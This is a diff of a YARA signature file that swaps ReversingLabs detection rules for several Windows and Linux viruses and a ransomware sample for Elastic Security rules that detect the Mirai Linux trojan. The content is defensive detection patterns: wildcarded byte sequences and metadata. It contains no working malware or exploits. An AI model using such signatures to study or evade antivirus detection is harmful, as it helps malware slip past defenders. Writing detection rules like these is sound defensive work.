-            83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45
-            ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ??
-            72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ??
-            ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
-            ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81
-        }
-		$encrypt_files_p7 = {
-            FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52
-            51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ??
-            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
-            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ??
-            8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ??
-            83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ??
-            83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
-            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B
-        }
-		$encrypt_files_p8 = {
-            95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ??
-            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8
-            ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 66 89 85 ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ??
-            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
-            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ??
-            8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2
-            ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? 83 EC ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0
-            C6 45 ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 E8 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ??
-            ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
-            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ??
-            ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
-        }
-		$encrypt_files_p9 = {
-            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ??
-            72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
-            F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D
-            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
-            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
-            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
-            ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
-            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
-            8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ??
-            8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55
-            ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
-            83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ??
-            59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
-        }
+		$a = { 00 00 00 55 89 E5 0F B6 55 08 0F B6 45 0C C1 E2 18 C1 E0 10 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		all of them
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Virus_Cmay : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_76Bbc4Ca : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Cmay virus."
-		author = "ReversingLabs"
-		id = "d61e09f1-1d3f-5e1e-9884-25f1a465e88d"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Win32.Virus.Cmay.yara#L3-L73"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f3bdf772eb80c632a913621732d12ae4a02bc7d3ba41f51711aa329be2ca6220"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "76bbc4ca-e6da-40f7-8ba6-139ec8393f35"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "1a9ff86a66d417678c387102932a71fd879972173901c04f3462de0e519c3b51"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1742-L1760"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "855b7938b92b5645fcefd2ec1e2ccb71269654816f362282ccbf9aef1c01c8a0"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_name = "Cmay"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "4206c56b538eb1dd97e8ba58c5bab6e21ad22a0f8c11a72f82493c619d22d9b7"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$cmay_body_1 = {
-            60 66 9C E8 00 00 00 00 5D 8B C5 81 ED ?? ?? ?? ?? 2D 08 00 00 00 2D
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 3A 02 00 00 0F 82 7C 03 00 00 8D B5
-            ?? ?? ?? ?? 8D BD ?? ?? ?? ?? E8 4F 02 00 00 E8 05 00 00 00 E9 61 03
-            00 00 8D BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? 03 6A 7F 57 FF 95 ?? ?? ??
-            ?? 83 C7 7F 6A 7F 57 FF 95 ?? ?? ?? ?? 83 C7 7F 57 6A 7F FF 95 ?? ??
-            ?? ?? 8D BD ?? ?? ?? ?? 80 BD ?? ?? ?? ?? 00 0F 84 20 03 00 00 FE 8D
-            ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? 83 C7 7F 8D 9D ?? ?? ?? ?? 53 8D 9D
-            ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 83 F8 FF 74 CA 89 85 ?? ?? ?? ?? FF
-            85 ?? ?? ?? ?? E8 C0 02 00 00 83 F8 FF 74 75 E8 70 02 00 00 85 C0 74
-            6C 8B 85 ?? ?? ?? ?? 8B 50 3C 3B 95 ?? ?? ?? ?? 73 5B 03 D0 8B 02 35
-            96 23 00 00 3D C6 66 00 00 75 4B 81 7A 4C 53 54 30 00 74 42 52 FF B5
-            ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 5A FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
-            E8 79 00 00 00 8F 85 ?? ?? ?? ?? 8F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ??
-            05 7E 0E 80 BD ?? ?? ?? ?? 00 0F 85 40 FF FF FF C3 57 8D BD ?? ?? ??
-            ?? B9 04 01 00 00 32 C0 F3 AA 5F FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ??
-            FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ??
-            ?? 8D 9D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 74
-            05 E9 2A FF FF FF E9 E9 FE FF FF 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ??
-            8B 5A 3C E8 87 01 00 00 89 B5 ?? ?? ?? ?? E8 8B 01 00 00 33 DB 8B 95
-            ?? ?? ?? ?? 8B 42 3C 03 D0 0F B7 42 06 48 6B C0 28 0F B7 5A 14 83 C3
-            18 03 DA 03 C3 8B 58 10 03 58 14 03 9D ?? ?? ?? ?? 53 8B 4A 28 89 8D
-            ?? ?? ?? ?? 8B 4A 34 89 8D ?? ?? ?? ?? 8B 48 0C 03 48 10 89 8D ?? ??
-            ?? ?? 89 4A 28 8B 70 10 81 C6 ?? ?? ?? ?? 8B 5A 3C E8 1D 01 00 00 89
-            70 10 89 70 08 03 70 0C 89 72 50 81 48 24 20 00 00 A0 C7 42 4C 53 54
-        }
-		$cmay_body_2 = {
-            30 00 5B B9 ?? ?? ?? ?? FC 8B FB 8D B5 ?? ?? ?? ?? F3 A4 FF B5 ?? ??
-            ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? FF 95 ?? ?? ?? ?? C3 50 51 B9 05 00 00 00 8B 44 24 2E 25 00
-            00 FF FF 66 81 38 4D 5A 74 09 2D 00 00 01 00 E2 F2 EB 06 89 85 ?? ??
-            ?? ?? 59 58 74 01 F9 C3 56 8B 95 ?? ?? ?? ?? 8B 72 3C 03 F2 8B 76 78
-            03 F2 83 C6 1C AD 03 C2 89 85 ?? ?? ?? ?? AD 03 C2 89 85 ?? ?? ?? ??
-            AD 03 C2 89 85 ?? ?? ?? ?? 5E 57 E8 16 00 00 00 5F 89 07 83 C7 04 80
-            3E 88 C7 85 ?? ?? ?? ?? 00 00 00 00 75 E5 C3 8B DE 80 3E 00 74 03 46
-            EB F8 46 8B CE 2B CB 8B F3 8B BD ?? ?? ?? ?? 57 8B 3F 03 FA 51 F3 A6
-            74 0F 8B F3 59 5F 83 C7 04 FF 85 ?? ?? ?? ?? EB E7 59 5F 8B 85 ?? ??
-            ?? ?? D1 E0 03 85 ?? ?? ?? ?? 33 DB 66 8B 18 C1 E3 02 03 9D ?? ?? ??
-            ?? 8B 1B 03 DA 8B C3 C3 50 52 33 D2 8B C6 F7 F3 2B DA 03 F3 5A 58 C3
-            8B 85 ?? ?? ?? ?? 6A 00 50 6A 00 6A 04 6A 00 FF B5 ?? ?? ?? ?? FF 95
-            ?? ?? ?? ?? 85 C0 74 1E 89 85 ?? ?? ?? ?? 6A 00 6A 00 6A 00 6A 02 FF
-            B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 75 02 33 C0 89 85 ?? ?? ?? ??
-            C3 33 C0 50 68 80 00 00 00 6A 03 50 40 50 68 00 00 00 C0 8D B5 ?? ??
-            ?? ?? 56 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C3 85 ED 0F 84 2A 04 00
-            00 33 C0 05 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0
-        }
+		$a = { 10 40 2D E9 00 40 A0 E1 28 20 84 E2 0C 00 92 E8 3B F1 FF EB }
 
 	condition:
-		uint16(0)==0x5A4D and ($cmay_body_1 at pe.entry_point) and $cmay_body_2
+		all of them
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Virus_Elerad : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_0Bfc17Bd : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Elerad virus."
-		author = "ReversingLabs"
-		id = "0307a136-ea2c-584c-bfda-f41e2c46fd09"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Win32.Virus.Elerad.yara#L3-L33"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "930594bf99daf55ef02542ce7b393c1c23ead75946b3da3b555102a2e7142e33"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "0bfc17bd-49bb-4721-9653-0920b631b1de"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1762-L1780"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1cdd94f2a1cb2b93134646c171d947e325a498f7a13db021e88c05a4cbb68903"
+		logic_hash = "ef83bc9ae3c881d09b691db42a1712b500a5bb8df34060a6786cfdc6caaf5530"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_name = "Elerad"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "d67e4e12e74cbd31037fae52cf7bad8d8d5b4240d79449fa1ebf9a271af008e1"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$elerad_body = {
-            EB 77 60 E8 09 00 00 00 8B 64 24 08 E9 DD 01 00 00 33 D2 64 FF 32 64 89 22 50 8B D8 B9 FF 00 00 00 81 38 2E 65 78 65 74
-            08 40 E2 F5 E9 BD 01 00 00 32 D2 38 50 04 0F 85 B2 01 00 00 33 D2 80 38 5C 74 07 3B C3 74 07 48 E2 F4 88 10 8B D0 58 BE
-            00 00 E6 77 BF 23 C1 AB 00 EB 3E 60 E8 09 00 00 00 8B 64 24 08 E9 84 01 00 00 33 D2 64 FF 32 64 89 22 BE 00 00 E6 77 EB
-            20 68 ?? ?? ?? ?? 60 8B 74 24 24 E8 09 00 00 00 8B 64 24 08 E9 5D 01 00 00 33 D2 64 FF 32 64 89 22 E8 00 00 00 00 5D 81
-            ED ?? ?? ?? ?? 81 FF 23 C1 AB 00 75 0C 89 95 22 12 40 00 89 85 1E 12 40 00 BA ?? ?? ?? ?? B9 09 02 00 00 8D 85 D0 10 40
-            00 31 10 83 C0 04 E2 F9
-        }
+		$a = { 54 24 64 0F CD 48 8D 14 52 41 0F B6 4C D7 14 D3 E8 01 C5 83 7C 24 }
 
 	condition:
-		uint16(0)==0x5A4D and ($elerad_body at pe.entry_point)
+		all of them
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Virus_Deadcode : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_389Ee3E9 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects DeadCode virus."
-		author = "ReversingLabs"
-		id = "89ec2e39-a163-5ba6-9b19-9c94b1923d47"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Win32.Virus.DeadCode.yara#L3-L76"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6ac2e48daaed222f0a19afd4d03a02834705e0e3762db3217f68569554171846"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "389ee3e9-70c1-4c93-a999-292cf6ff1652"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1782-L1800"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f"
+		logic_hash = "fedeae98d468a11c3eaa561b9d5433ec206bdd4caed5aed7926434730f7f866b"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_name = "DeadCode"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$deadcode_ep_1 = {
-            64 67 FF 36 30 00 58 8B 40 08 FF 70 48 5B FF 70 4C 5A 03 40 44
-            FF E0
-        }
-		$deadcode_marker = {
-            DE C0 AD DE
-        }
-		$deadcode_ep_2 = {
-            2B C0 85 C0 74 0E 64 67 FF 36 00 00 64 67 89 26 00 00 89 00 E8
-            ED FF FF FF 8B 74 24 0C 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50
-            4C 03 40 44 89 86 B8 00 00 00 89 86 B0 00 00 00 89 9E A4 00 00
-            00 89 96 A8 00 00 00 2B C0 C3
-        }
-		$deadcode_ep_3 = {
-            B8 DE C0 AD DE 50 5A 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50 4C
-            03 40 44 FF D0
-        }
-		$deadcode_body_1 = {
-            8B D0 8B EA 81 C5 ?? ?? ?? ?? 89 85 A4 00 00 00 89 9D C0 00 00 00 E8 56 01 00 00 89
-            45 00 8D 75 04 81 C2 ?? ?? ?? ?? 6A 19 FF 75 00 52 56 E8 CE 01 00 00 64 67 A1 30 00
-            8B 40 08 89 85 88 00 00 00 C7 85 D0 00 00 00 ?? ?? ?? ?? E8 09 00 00 00 8B 64 24 08
-            E9 03 01 00 00 33 D2 64 FF 32 64 89 22 83 BD C0 00 00 00 00 75 2F 6A 04 68 00 10 00
-            00 68 40 01 00 00 6A 00 FF 55 08 50 8F 45 78 E8 2A 03 00 00 68 00 40 00 00 68 40 01
-            00 00 FF 75 78 FF 55 28 E9 C3 00 00 00 8B 85 A4 00 00 00 05 ?? ?? ?? ?? 8D B5 B4 00
-            00 00 56 6A 00 55 50 68 00 00 10 00 6A 00 FF 55 30 89 85 AC 00 00 00 6A 04 68 00 10
-            00 00 6A 54 6A 00 FF 55 08 89 85 A8 00 00 00 64 67 A1 30 00 8B 40 10 8B 40 3C 8B B5
-            A8 00 00 00 8D 7E 10 56 57 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 50 6A 00 FF 55 50 85
-            C0 74 5D FF 76 04 8F 85 B0 00 00 00 64 67 A1 30 00 8B 40 08 8B D8 03 5B 3C 8B 5B 28
-            03 D8 8B 8D A4 00 00 00 81 ?? ?? ?? ?? 8D 85 B4 00 00 00 50 6A ?? 51 53 FF 36 FF 55
-            4C FF 76 04 FF 55 54 8D B5 AC 00 00 00 6A FF 6A 01 56 6A 02 FF 55 34 68 00 40 00 00
-            6A 54 FF B5 A8 00 00 00 FF 55 28 33 D2 64 8F 02 5A E8 DB 01 00 00 E8 F5 00 00 00 6A
-            00 FF 55 3C 64 67 8B 36 00 00 AD 83 F8 FF 74 04 8B F0 EB F6 8B 7E 04 81 E7 00 00 FF
-            FF 66 81 3F 4D 5A 74 08 81 EF 00 00 01 00 EB F1 8B DF 03 5B 3C 66 81 3B 50 45 74 02
-            EB E3 8B C7 C3 55 8B EC 8B 75 0C AC 84 C0 75 FB 2B 75 0C 8B CE 8B 5D 08 03 5B 3C 8B
-            5B 78 03 5D 08 8B 53 20 03 55 08 2B C0 8B 32 03 75 08 8B 7D 0C 51 FC F3 A6 59 74 06
-        }
-		$deadcode_body_2 = {
-            83 C2 04 40 EB EB 8B 73 24 03 75 08 2B D2 66 8B 14 46 8B 73 1C 03 75 08 8B 04 96 03
-            45 08 8B E5 5D C2 08 00 55 8B EC 8B 7D 08 8B 75 0C 8B 4D 14 51 56 57 56 FF 75 10 E8
-            91 FF FF FF 5F 5E 59 AB AC 84 C0 75 FB E2 E9 8B E5 5D C2 10 00 8B 6C 24 04 6A 04 68
-            00 10 00 00 68 40 01 00 00 6A 00 FF 55 08 85 C0 74 18 89 45 78 E8 63 01 00 00 68 00
-            40 00 00 68 40 01 00 00 FF 75 78 FF 55 28 6A 00 FF 55 40 C3
-        }
+		$a = { 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83 }
 
 	condition:
-		uint16(0)==0x5A4D and ((($deadcode_ep_1 at pe.entry_point) and ($deadcode_marker at 0x40)) or (($deadcode_ep_2 at pe.entry_point) and ($deadcode_marker at 0x40)) or (($deadcode_ep_3 at pe.entry_point) and ($deadcode_marker at 0x40)) or ($deadcode_body_1 and $deadcode_body_2))
+		all of them
 }
-import "elf"
-
-rule REVERSINGLABS_Linux_Virus_Vit : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Cc93863B : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Vit virus."
-		author = "ReversingLabs"
-		id = "4515fe43-4c5a-521d-82b7-273823f0c64e"
-		date = "2024-08-04"
-		date = "2024-08-04"
-		modified = "2023-06-07"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/virus/Linux.Virus.Vit.yara#L3-L36"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "2fba7a081dfca85aee5c7f3b33414b799ed52ca6aa5bbf031da040aaa75acde9"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "cc93863b-1050-40ba-9d02-5ec9ce6a3a28"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1802-L1820"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f"
+		logic_hash = "881998dee010270d7cefae5b59a888e541d4a2b93e3e52ae0abe0df41371c50d"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Virus"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$vit_entry_point = {
-        55 89 E5 81 EC 40 31 00 00 57 56 50 53 51 52 C7 85 D8 CE FF FF 00 00 00 00 C7 85 D4
-        CE FF FF 00 00 00 00 C7 85 FC CF FF FF CA 08 00 00 C7 85 F8 CF FF FF B8 06 00 00 C7
-        85 F4 CF FF FF AD 08 00 00 C7 85 F0 CF FF FF 50 06 00 00 6A 00 6A 00 8B 45 08 50 E8
-        18 FA FF FF 89 C6 83 C4 0C 85 F6 0F 8C E6 01 00 00 6A 00 68 ?? ?? ?? ?? 56 E8 2E FA
-        FF FF 83 C4 0C 85 C0 0F 8C C4 01 00 00 8B 85 FC CF FF FF 50 8D 85 00 D0 FF FF 50 56
-        E8 2A FA FF FF 89 C2 8B 85 FC CF FF FF 83 C4 0C 39 C2 0F 85 9D 01 00 00 56 E8 E1 F9
-        FF FF BE FF FF FF FF 6A 00 6A 00 E9
-      }
-		$vit_str = "vi324.tmp"
+		$a = { C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08 }
 
 	condition:
-		uint32(0)==0x464C457F and $vit_entry_point at elf.entry_point and $vit_str
+		all of them
 }
-import "pe"
-
